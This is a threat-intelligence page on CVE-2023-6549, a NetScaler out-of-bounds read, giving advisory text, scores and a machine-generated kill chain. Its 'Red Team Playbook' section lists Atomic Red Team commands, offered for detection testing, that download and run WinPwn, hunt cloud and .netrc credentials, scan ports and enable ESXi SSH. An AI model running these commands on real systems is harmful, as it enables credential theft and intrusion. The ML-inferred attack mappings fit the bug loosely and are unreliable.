CVE-2023-6549

HIGH CISA KEV Pub 17/01 Upd 21/10

Overview

This vulnerability is a memory safety flaw classified as an improper restriction of operations within the bounds of a memory buffer. It arises from inadequate validation of input data length in the NetScaler ADC and NetScaler Gateway components, specifically affecting the handling of requests to the Gateway or AAA virtual server web interfaces. The root cause is an out-of-bounds memory read condition triggered by malformed input, leading to unauthorized memory access beyond allocated buffers.

Vulnerability Description

Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service and Out-Of-Bounds Memory Read

Impact

An attacker can exploit this vulnerability remotely without any authentication or user interaction to cause a denial of service or to read memory contents beyond intended boundaries. This unauthorized memory disclosure may reveal sensitive information residing in the appliance's memory, potentially aiding further attacks. The denial of service can disrupt availability of the NetScaler ADC or Gateway services, impacting business continuity and secure remote access.

Solution

Citrix has published a security bulletin (CTX584986) addressing this vulnerability for NetScaler ADC and NetScaler Gateway products. Administrators should apply the vendor-supplied patches as detailed in the advisory to all affected versions. The bulletin provides specific version updates and patching instructions. No alternative workarounds are recommended; timely application of the official patches is required to remediate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question pertains to improper restrictions on operations within the bounds of a memory buffer in specific Citrix products, notably the NetScaler Application Delivery Controller and NetScaler Gateway. This flaw arises from inadequate validation of input data, which can lead to out-of-bounds memory reads. Such a condition allows attackers to manipulate the memory allocation of the affected systems, potentially leading to unauthorized access to sensitive information or causing the systems to crash. The severity of this vulnerability is underscored by its CVSS score of 7.5, indicating a significant risk to the integrity and availability of the affected products.

Attack vectors for this vulnerability are particularly concerning due to the potential for unauthenticated denial of service (DoS) attacks. An attacker could exploit this flaw by sending specially crafted requests to the affected systems without needing any form of authentication. This could lead to a state where the application becomes unresponsive, denying legitimate users access to critical services. Additionally, the out-of-bounds memory read could expose sensitive data stored in memory, such as user credentials or configuration settings, which could further compromise the security of the entire network environment.

In real-world scenarios, the impact of such a vulnerability can be profound. Organizations relying on Citrix's NetScaler products for application delivery and secure remote access could face significant operational disruptions. A successful denial of service attack could lead to downtime, resulting in lost revenue, damage to reputation, and potential regulatory penalties, especially for businesses in sectors that require stringent compliance with data protection regulations. Furthermore, the exposure of sensitive information can lead to secondary attacks, including identity theft or further exploitation of compromised systems.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in their systems. Keeping software up to date with the latest security patches is crucial, as vendors typically release updates to address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help monitor network traffic for unusual patterns indicative of exploitation attempts. Organizations should also consider implementing rate limiting and other access control measures to reduce the risk of denial of service attacks.

In conclusion, the vulnerability associated with improper memory buffer restrictions in Citrix's NetScaler products poses a significant threat to organizations that utilize these systems. The potential for unauthenticated denial of service and out-of-bounds memory reads highlights the need for robust security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare to defend against potential exploits and safeguard their critical infrastructure.




The CVSS score for CVE-2023-6549 has been revised upward from 7.5 to 8.2, reflecting a reassessment of the vulnerability’s impact and exploitability. Concurrently, the EPSS score has increased modestly, indicating a growing likelihood of exploitation in the wild. This adjustment coincides with the vulnerability’s inclusion in the KEV catalog, underscoring its elevated priority within the security community. Although no new exploit techniques or ransomware affiliations have been identified, the rising EPSS trend signals heightened attacker interest or potential for opportunistic exploitation. For defenders, this means the vulnerability now represents a more urgent risk, warranting increased vigilance in monitoring and patch management efforts. The updated risk profile suggests that while active exploitation remains limited, the window for potential attacks is expanding, thus elevating the overall threat level associated with NetScaler ADC and Gateway deployments.



Update 2 — July 04, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-6549, reflecting increased probing or scanning attempts against vulnerable NetScaler ADC and Gateway instances. This uptick in telemetry signals growing adversary interest, though no new exploit techniques or ransomware affiliations have surfaced. Concurrently, the CVSS score adjustment to 7.5 aligns with refined impact assessments, indicating a slightly moderated but still high-risk profile. For defenders, this evolving landscape underscores the necessity to maintain heightened situational awareness, as the increased detection frequency suggests adversaries may be intensifying reconnaissance efforts to identify exploitable targets. While active exploitation remains limited, the combination of rising detection trends and sustained EPSS percentile ranking elevates the urgency for ongoing monitoring and timely patch application to mitigate potential denial-of-service or memory disclosure attacks.

Affected Products (9)

Vendor Product Version CPE
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
citrix Citrix Netscaler Gateway All cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway All cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
citrix Citrix Netscaler Gateway All cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

6 events
2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-01-17
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Denial of Service
55% dos
Remote Code Execution
44% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
43%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
43%
Medium High
CAPEC-100 Overflow Buffers
37%
High Very High
CAPEC-45 Buffer Overflow via Symbolic Links
36%
High High
CAPEC-44 Overflow Binary Resource File
36%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-6549
support.citrix.com
GitHub CVE
https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-6549